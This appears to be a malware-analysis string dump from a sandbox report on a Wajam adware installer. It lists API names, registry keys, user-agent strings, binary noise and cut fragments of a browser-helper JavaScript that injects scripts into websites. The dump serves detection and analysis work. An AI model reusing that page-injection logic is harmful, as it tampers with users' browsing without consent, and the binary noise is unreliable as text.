Ansi based on Dropped File (nsqE177.tmp)

KEEEE;|^[Ej#A(tXeWMWMjj2j,h kA$X}u]eGEvEPYYEOEAE3(Me3@EEuuSuWEeoEeu}~OO^eE;FskT;~A;L;FLQVjWeeuEEE[WE}uEGuYLM>M>csmuB~u<F= t=!t="u$}u}tvTYtuV*YYjhHkAV3UEH;X8QOH;u<uxt1U3CStA}wYYSVYYGMQPYY}EptHYYSVYYwEpVDt|W9Wu8]YYtaSVPYYtTwWEpdYYPV9%YYt)SVYYtw

Ansi based on Dropped File (nsqE177.tmp)

KeepAliveTimeout

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Kernel32.DLL

Ansi based on Dropped File (ExecCmd.dll.1695374911)

kernel32.dll

Ansi based on Dropped File (SimpleSC.dll.523064890)

KERNEL32.DLL

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

KERNEL32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Key Length not EVEN!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

Key Length too SMALL!

Ansi based on Dropped File (DcryptDll.dll.2046955531)

KillTimer

Ansi based on Dropped File (inetc.dll.1181384010)

kjcX->uxxxxxxxxlOsxxxxxxxs[ZdP{s^sV*ZTTTJz$tbEW-UkUk

Ansi based on Dropped File (nsqE177.tmp)

KKKkkk<<<|||vvvPPPjjjmmmRRRiii}}}hhhTTT:::[[[qqq777444!!!IPQ]Q|Z$kNzyLj9uHX]'tFxDr~S:::___rrr###ppp>>>###777<<<888???ssssssLLL%%%GGG]]]vvvFFF666III<<<lllIIIfffnnnRRRssskkkZZZKKKrrr'''\\\qqq666444III888999777'''###IPQ_[2_X!\']j8f4222$$$999666...yyyRRRuuu___ccc^^^555111>>>ZZZBBBYYYXXX;;;\\\}}}999___TTTuuuEEEtttRRREEEUUUsssggg^^^qqq>>>;;;IPP\DDDuuu111'''&&&444hhh$$$GGGDDD000111>>>DDD666YYYUUU999WWW!!!FFFCCC666(((GGGbbb@@@<<<

Ansi based on Dropped File (nsqE177.tmp)

KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00423000.00000004.mdmp)

kLyR6ub$i/=c/%NC5i&_w*WpE#[!RmD&]I_BGD6BJ)>u:I3.RL:z7(p95tE:+(@!=U:eRj6;Y

Ansi based on Dropped File (nsqE177.tmp)

KRQ$&&aaa]`NS@@>===nnnppp;;;okp]S!v```nnnwwwtS4Z<Z<Z<Z<U8X=N/X;kRoZ[?Y=dH~iQnWH.zG*ubK.Z<Z;Y<Z<X:[>{cB;Xy+G?UP%`_!{'z]u>QLQt;fOaVO{{}Onrb_]TM4N&&B]*G!& ?LmS@f|@2t%

Ansi based on Dropped File (nsqE177.tmp)

kU~_e2tGog4f3lsExdr|Q|n=xKng5O{cuG;mcZ#bh6o?wZeljkwj;m=rEVQ}T(_bL krh5\'arBSc1pAsDa`pUtF}Qag4gsE[%yLyL___,,,'''ggg===JJJ;;;GGG777QQQ>>>...'''fffnnnTTTFFF@@@<<<ZZZOOO###ooolll444444sss@@@

Ansi based on Dropped File (nsqE177.tmp)

ky/MJJJJJJJJJJJJJJJJJKHDJQOFEIKJJJJJJJJJJJJJJJJJJKAZJQ-nrrrrrrrk

Ansi based on Dropped File (nsqE177.tmp)

KYqe/h</eZ0z/ i7yd4_EB

Ansi based on Dropped File (nsqE177.tmp)

k{5^\uZKzV'A;W^=DqH3>Dh5WI3/ TWtMxM:k=:Q"2+,H+k$EHmMH+`bIbdYVWu8j*{oyn:sI=EY$'k2:wW2j\%-{1'0{}f:J.H3|gOetRS'2<Zzo{JgF{x?=Kl+

Ansi based on Dropped File (nsqE177.tmp)

K|]Y}8Z6`6[i/5z.`mgLyeX2\1Zb=g~usFLvTYj.H9/hVV["sn{Dr$i$JuK~a{*c$Y)p2HV^aF6ggq)-*u{(>7/o>8y

Ansi based on Dropped File (nsqE177.tmp)

l);str += priam.Trace.add(method_name,'Inserted css '+(i+1)+'/'+css_object_length+' - id:\''+css_id+'\', url: \''+css_url+'\'');}}}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);});},insertAllScript: function(document, script_array, siteName, force_update) {var method_name = 'insertAllScript';var str = '';try {// Include every script in siteObjectif (script_array !== null) {var script_object;var script_id;var prefKey;var script;var script_path;var url;var path_key;// Include every script in listvar script_array_length = script_array.length;str += priam.Trace.add(method_name,'Found '+script_array_length+' scripts to insert');// Developer Flag debug_reload_scriptvar debug_reload_script = prefs['debug_reload_script'];for (var j=0; j<script_array_length;j++) {script_obj

Ansi based on Dropped File (priam_bho.dll.1505483275)

l/7Vp1t{%MS?}y+Y+

Ansi based on Dropped File (nsqE177.tmp)

L1$!_^[u]%@]UEu+vujX]

Ansi based on Dropped File (nsqE177.tmp)

L2]@08.text `.rdataG0H@@.data4b@.rsrc

Ansi based on Dropped File (nsqE177.tmp)

L9)-`z3(JV%

Ansi based on Dropped File (nsqE177.tmp)

l>etA5|f!ST,n

Ansi based on Dropped File (nsqE177.tmp)

l\Temp\nsfE187.tmp\IpConfig.dll

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

l_ %O^da=L^n~S.$!7A=5f2&>~

Ansi based on Dropped File (nsqE177.tmp)

LA@3E=}A@5Ah0AuA=AtPYASE0j

Ansi based on Dropped File (nsqE177.tmp)

lA]]UM`RAH@]AuhRAU}Wt-Vu)pVuYYGtuVPG^_]V~tvrqYfF^UEVf`RAF0^]UVuW;t~tvVFG_^]`RA{UV`RAhEtV=^Y^]UVuf`RAF{^]U EVWjY|RA}EE_E^ttE@EPuuu0ADA39AVD$u(L$D$3D$d$d$G\$T$D$ud$D$r;T$wr;D$vN+D$T$3+D$T$^UQVuVEFYuN =@t

Ansi based on Dropped File (nsqE177.tmp)

LanguageList

Unicode based on Runtime Data (iexplore.exe )

last_update_check

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

LastCheckForUpdateHighDateTime

Unicode based on Runtime Data (iexplore.exe )

LastCheckForUpdateLowDateTime

Unicode based on Runtime Data (iexplore.exe )

LastProcessed

Unicode based on Runtime Data (iexplore.exe )

LastUpdateHighDateTime

Unicode based on Runtime Data (iexplore.exe )

LastUpdateLowDateTime

Unicode based on Runtime Data (iexplore.exe )

laUIWindowClass

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

lB(3kR\mw\i+

Ansi based on Dropped File (nsqE177.tmp)

LCMapStringA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

LCMapStringW

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

LdapClientIntegrity

Unicode based on Runtime Data (IE_approveExt.exe )

LeashLegacyCookies

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

LeaveCriticalSection

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

LegalCopyright

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LegalCopyrightno 2005PLegalTrademarksNo rights reserved.B

Ansi based on Dropped File (nsqE177.tmp)

LegalTrademarks

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LibraryPath

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

lic\\\hhh!H,Q0S1L-D'>#94<

Ansi based on Dropped File (nsqE177.tmp)

lick Next to continue.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

LJ^@-L;vjlbt$VzAl5\g<JZ_2hG@q*hF!q^!L)^`J3Fd.Y,~S[iTmg7`$)KLr'rD'"hUYuT$Kd(,5-LIs`uh\)LukgZhQnCG<X]LI`/BjDB@14{aFW`IE*a+~j;gt($Z$0L_,,dMZBp{nKDc

Ansi based on Dropped File (nsqE177.tmp)

ll rights reserved.

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

lMgYOGyQ'h4{ZAmRJlwWwAUw0}\]0=BW5lAi< 5#-dE[_S:j&4eI|J6K{9WJ;|#Gk?

Ansi based on Dropped File (nsqE177.tmp)

LoadAppInit_DLLs

Unicode based on Runtime Data (IE_approveExt.exe )

LoadBitmapA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LoadCursorA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LoadIconA

Ansi based on Dropped File (inetc.dll.1181384010)

LoadImageA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LoadLibraryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LoadLibraryExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

LoadLibraryExW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

LoadLibraryW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

LoadResource

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

LoadStringW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

LoadTimeArray

Unicode based on Runtime Data (iexplore.exe )

LocalFree

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

LocalizedName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

LocalRedirectOnly

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

LocalService

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

LockResource

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

log_send_info

Unicode based on Runtime Data (iexplore.exe )

logging set to %d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

logging set to 1

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

LookupAccountSidW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

LookupPrivilegeValueA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

loPZ'$'WU3zN/(&FP

Ansi based on Dropped File (nsqE177.tmp)

lstrcmpiA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

lstrcmpiW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

lstrcpynA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ltithread lock error

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

L~t>6l~Fads+8@

Ansi based on Dropped File (nsqE177.tmp)

m FZ*v:Fr1g}4x~gA(7*NQw3&SJbgQ700,m5+iGaEcK%dK=Adm1sHn|`~mdljyoN0\b3uDOq,IDu>"m1_NJ9wAX:97[_N/6}]

Ansi based on Dropped File (nsqE177.tmp)

m$~1zOlN,MFIE][oVx!Foa2|)g-B>0>

Ansi based on Dropped File (nsqE177.tmp)

M+:XgGA2([%dqcyJ

Ansi based on Dropped File (nsqE177.tmp)

m,\q=??_RNJ NJ_

Ansi based on Dropped File (nsqE177.tmp)

m/remote/

Unicode based on Dropped File (priam_bho.dll.1505483275)

m1`F}G#}WkJ:B./k[O(e4axoI5^>N'<]}FK;Rk;Yg8GCg`Uf(a^<\S?;q-J' H[1d 95PMX}\G<i;}'Lw/&j:i

Ansi based on Dropped File (nsqE177.tmp)

M[YCVutN^$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)]@UWVSEt

Ansi based on Dropped File (nsqE177.tmp)

M^UEVtA}u}j^0!*}t9Es_j"YPuuD3^]UES]f;WtCft9+Mftft++uf9uf9tfu3_[]UMtEW}f_E]UVuu3d}uj^0>K}t9ur6Puu>$uju~}t9usMj"YjX^]UVuu3a}u"j^0H}t9urVuu#ujuW}t9usj"YjX^]UVuWt}uj^0S_^]Euf+fftOu3ufoj"YUUS]VWuu9Uu3_^[]t}u4j^0u3fMu3fu+fft'Ou"+fftOtKuu3fy3uMjPfDJXdfj"YjUS]woVW=AuXIjGhDYYt3@Pj5A,1Au&j^9At

Ansi based on Dropped File (nsqE177.tmp)

M_3[<j(?!AE3]]]]]] Ef9LxE9uEPjV]1A;}PEPjV]1A;|}+}EG};}g];EPjV]1A;|EE;EPjV]1A;|;}kFM+E;Ms]8UGAM;}~V1Au]QEhVAu?YY;u)EhfAEP@h@hWVuju@VAu1A9]tuMYXEhfAEU DA3ES3hVAhttT0A2VW3SPn_^t9ShjSShP0Au

Ansi based on Dropped File (nsqE177.tmp)

m_9,3nmC .lg73-ZJ;iq/(Oy[mp2C55}>hGoMJ"7MIe|d/1)F"jE<T&W$NU6{KJ" PPX+^ SG$G~jqF}`dtk:"i|]LnG~sj!

Ansi based on Dropped File (nsqE177.tmp)

M`O76LGn(NOQ-[J`wxY]g06_,w;|dQ8>OG>,BPH-+T+c:JPw"Il~z)bI(%r `O=MV:

Ansi based on Dropped File (nsqE177.tmp)

MACAddress

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

MACAddress = '

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

MachinePreferredUILanguages

Unicode based on Runtime Data (WajamUpdater.exe )

manifest.jsonuO );%Zr(-{XRdblcJ:aaxtNIa;tUMj#a\q`ygA'~>~f=ZU)m7x)1. u5j\dc&yN>+A3j}t/ _&(E

Ansi based on Dropped File (nsqE177.tmp)

MapNetDrvBtn

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

mappingListJsonString

Unicode based on Runtime Data (iexplore.exe )

MartaExtension

Unicode based on Runtime Data (IE_approveExt.exe )

MaxConnectionsPer1_0Server

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MaxConnectionsPerProxy

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MaxConnectionsPerServer

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MaxHttpRedirects

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MaxRpcSize

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MaxSockaddrLength

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MBCSAPIforCrack

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MBCSServername

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

me;var new_script_array;var new_supported_sites = new_mapping_list.supported_sites;var old_supported_sites = old_mapping_list.supported_sites;var pattern_array_length;var old_script_array_length;var new_script_object;var old_script_object;if (old_supported_sites && new_supported_sites) {for (old_site_name in old_supported_sites) { // Compare each sites in old mappingList with those in new MappingListoldSiteFound = false;for (new_site_name in new_supported_sites) {if (old_site_name == new_site_name) { // Compare old site name with site name in new MappingListoldSiteFound = true;str += 'FOUND: '+old_site_name+'\n';break;}}old_site = old_supported_sites[old_site_name];old_script_array = old_site.js_files;if (old_script_array) {old_script_array_length = old_script_array.length;if (oldSiteFound) {for (var i=0; i<old_script_array_length;i++) { // Grab old

Ansi based on Dropped File (priam_bho.dll.1505483275)

media-c9hg3zwqygdshhtrps.stackpathdns.com

Ansi based on PCAP Processing (PCAP)

MEjEPjEP4t0Au

Ansi based on Dropped File (nsqE177.tmp)

MEQPiR;EEPj@@;EPuSu,Rt4EPEPh@u

Ansi based on Dropped File (nsqE177.tmp)

MessageBox: %d,"%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

MessageBoxA

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

MessageBoxIndirectA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

MessageBoxW

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

method_name, str );}});}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name, str );}};priam.Util = {isValidMappingList: function(mappingList) {var method_name = 'isValidMappingList';var valid = false;try {if (mappingList !== null && typeof(mappingList) === 'object') {// Field 'version'if (mappingList.version !== null && mappingList.version !== undefined) {valid = true;}}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return valid;},searchEngineAjaxCall: function(url, callback){priam.Browser.messageManager.sendRequest('priam_search_engine_ajax_call', {url: url}, callback);},URLEncode: function(url) {var str = '';var method_name = 'URLEncode';var encoded = '';try {url = url + '';url = url.replace(/\r\n/g,'\n');var utftext = ''; for (var n = 0; n < url.le

Ansi based on Dropped File (priam_bho.dll.1505483275)

Microsoft Visual C++ Runtime Library

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

Microsoft-CryptoAPI/6.1

Ansi based on PCAP Processing (PCAP)

MimeExclusionListForCache

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MinSockaddrLength

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MMAMRE@@;@J)@=@}

Ansi based on Dropped File (nsqE177.tmp)

MmH`YxFqO

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

MMMccc}}}]]]VVVYYY{{{zzz}}}TTTccczzzSSSdddLLL^^^\\\ooommmlllzzzMMMQQQjjjeeeUUU]]]\\\VVVhhhPPPpppPPPMMMOOO___VVVVVV<<<===www]]]000888yyy000fffwww---ddd:::FFF$$$>>>nnnUUUJJJ@@@{{{YYY(((KKKwww999JJJ{{{bbbccciii222zzzmmm888777DDD~~~PPP***DDDNNN'''wwwrrr'''YYY555mmmppp???}}}111fffIIIvvv)))\\\BBB !!!fff^^^---+++222uuuqqq<<<wwwYYYuuuVVV'''uuu999JJJCCCAAA\\\WWWOOO[[[EEEttt]]]BBBRRR}}}jjjLLLDDDQQQ111///:::KKK!!!(((nnnxxx+++888AAA~~~888<<<tttppp

Ansi based on Dropped File (nsqE177.tmp)

MMMM 9MM8Mu*MM@B;rEC;Ms`Mfu+MUPEUUffM

Ansi based on Dropped File (nsqE177.tmp)

mmmm d, yyyy

Ansi based on Dropped File (SimpleSC.dll.523064890)

MMMM dd, yyyy

Unicode based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

mmmmmmmmmmmmmmlex/MJKKKKKKKKKKKKKKKKHGnYDIKKKKKKKKKKKKKKKKKKKAZIP}lnpppppppifm

Ansi based on Dropped File (nsqE177.tmp)

mNMh|b000GGGSSS$$$$$$aaaGGG444nnnsS4Z<Z<Z<Z;Y=Z=S5N/T5Z=V7O.N/P1N1Q3X:V7P0N/N0S5Y;T6N0M.M.P1V8Q2N/M.N.Q1X;Z>V:O1L.N/R3Z<[=V7N1N.O.U6Y=Q3P/U8Y:Q1O/U5X8W9Z<Z<X:[=nmo8O

Ansi based on Dropped File (nsqE177.tmp)

Module_Raw

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

ModuleModule_RawREGISTRYAPPID^AB2@J2@P2@5@.3@U2@FFA`AA@bad exceptionHDA@aARSDSc`5JQ%USERPROFILE%\Desktop\svnwajam\Clients\Updater\Release\WajamUpdater.pdbA]A]A]AA@]AA^A^A(^AD^AA@^AA@`^Ap^AD^AA`^AA^A^A,_A^A^AA@^A^A^A^AA@_A$_A^AA@^AA\_Al_A`A_A_A`AH`A`AA@_A_A_A_A`AH`A`APA@_A_A_A`AH`A`AA@(`A8`A`AH`A`AA@d`At`AH`A`AA@`A`A`AA@`AA@\_AAaAaAaAD^AA@aAPo{@Wa !?!e!!!!(""""#S###FS@.U@V@hf@|f@h@k@m@m@nn@rn@n@n@Fq@-{@@n@:@6@@@M@@@w@@@@?@@dAdAdAA@A@@@}@>@

Ansi based on Dropped File (nsqE177.tmp)

momgdedgl

Ansi based on Dropped File (nsqE177.tmp)

More information at:

Ansi based on Dropped File (nsqE177.tmp)

MoreInfo.dll

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MoreInfo.dllGetCommentsGetCompanyNameGetFileDescriptionGetFileVersionGetInternalNameGetLegalCopyrightGetLegalTrademarksGetOSUserinterfaceLanguageGetOriginalFilenameGetPrivateBuildGetProductNameGetProductVersionGetSpecialBuildGetUserDefinedRSDSOO\_t:\untgz\MoreInfo\SRC\Release\MoreInfo.pdb(H`x0A(XB@E"hEMAINICON( wpwp"xpzpxxppxwwwwwwpxwwwwww( @wwpwpxwxwxxp'x""'p""j""x*"xx*#xxxxpxnnnnwnnwwwpwwwwwwwwxwwwwwxpwxxwwwwwwwwwpwp???a( 4VS_VERSION_INFO?VStringFileInfo2040904E4.CompanyName(none)~+FileDescriptionHelper plugin to retreive file information0FileVersion1.0.1.2RInternalNameThe MoreInfo NSIS Plugin8

Ansi based on Dropped File (nsqE177.tmp)

MoveFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

MoveFileExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Ansi based on PCAP Processing (PCAP)

Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko

Ansi based on PCAP Processing (PCAP)

MozillaContentWindowClass

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MozillaDropShadowWindowClass

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

MozillaUIWindowClass

Ansi based on Hybrid Analysis (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.00401000.00000020.mdmp)

MozillaWindowClass

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

mp\IpConfig.dll"

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00423000.00000004.mdmp)

mp\nsfE187.tmp\ExecCmd.dll"

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

mponent Categories

Unicode based on Dropped File (priam_bho.dll.1505483275)

MPQR<MEQPR4E8t}M#WPQRDEuPQ,EuPQ9]|2@hVjuE@SS@tEjVPQEEPQEPQ9]}EjjS.

Ansi based on Dropped File (nsqE177.tmp)

mq2jK:$,$Y

Ansi based on Dropped File (nsqE177.tmp)

MS Sans Serif

Unicode based on Dropped File (inetc.dll.1181384010)

MS Shell Dlg

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

MS Shell DlgP

Ansi based on Dropped File (nsqE177.tmp)

mscoree.dll

Unicode based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

msctls_progress32

Unicode based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

msctls_progress32P@@hSysListView32PgP<MS Shell DlgP <?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>NullsoftInstZ"YOlE'p^b4}Lwgmwwy`xFL8'D/zBO&^hEc^p{o-<lE*to3vmT.

Ansi based on Dropped File (nsqE177.tmp)

msctls_progress32Progress1P

Ansi based on Dropped File (nsqE177.tmp)

MSVCRT.dll

Ansi based on Dropped File (inetc.dll.1181384010)

Msxml2.XMLHTTP

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Mt^]UWVuM};v;r=AtWV;^_uO9ur)$@r$@$@$t@@0@T@#FGFGr$@I#FGr$@#r$@I@@@@@@@@DDDDDDDDDDDDDD$@@@@@E^_E^_FGE^_IFGFGE^_t1|9u$r

Ansi based on Dropped File (nsqE177.tmp)

MU3+GM;UrMu3u3MuJ#U;Pt+] JN#u;PuU}?EEME;M39Et}t_^[$%|@%x@%t@|n^,l`P@(8Lbjz&2FVdt~rVH:$xl`NB2 4"4DTfv

Ansi based on Dropped File (nsqE177.tmp)

MUk2!k)9oU8"|D:wC!s

Ansi based on Dropped File (nsqE177.tmp)

MultiByteToWideChar

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

multithread lock error

Unicode based on Dropped File (priam_bho.dll.1505483275)

Mxz7y;n3$s;;U!a

Ansi based on Dropped File (nsqE177.tmp)

My Pictures

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

M}Ut8EEMPjhEu

Ansi based on Dropped File (nsqE177.tmp)

n console device

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

N.DJV1*\YE-

Ansi based on Dropped File (nsqE177.tmp)

N38jNV3:ZEH9SOhDAWjhbAjYYeuNt/AAEt9u,HJPYvzYfE

Ansi based on Dropped File (nsqE177.tmp)

N38NF38sE@fMUS[EMt_I[LDEEtTEx@GEu}t$t

Ansi based on Dropped File (nsqE177.tmp)

N38NV3:E_^[]EM9csmu)=\At h\AXtUjR\AMUE9XthDAWEMHt

Ansi based on Dropped File (nsqE177.tmp)

n=qp_v8gHfL->#F-2J^h*pM0rGK

Ansi based on Dropped File (nsqE177.tmp)

N>| S!T.^:b-F*

Ansi based on Dropped File (nsqE177.tmp)

N@Ch5A1A3_[^VaAaAW;st;r_^VaAaAW;st;r_^UDAeeSWN@;t

Ansi based on Dropped File (nsqE177.tmp)

n\n'+'document:\n'+document);});}// UPDATING PREFERENCESvar script = content;var prefKey = path_key+script_id;priam.Preferences.set( prefKey, script );if (document) {// Developer Flag debug_reload_scriptvar debug_reload_script = prefs['debug_reload_script'];var force_update = true;// Developer Flag debug_reload_scriptif (debug_reload_script === 'true') {force_update = false;}// INSERT / FORCE REPLACE IF SCRIPT ALREADY THEREpriam.Page.insertScript( document, script_id, script, force_update );}},onEventReceived: function(event,siteObject,_document) {var method_name = 'onEventReceived';var str = '';try {var eventName = event.propertyName;if (eventName == priam.Config.event_name.ajax_call ||eventName == priam.Config.event_name.justLoggedIn ||eventName == priam.Config.event_name.justLoggedOut ||eventName == 'bmAutoSyncOn' ||eventName == 'bmAutoSyncOff'

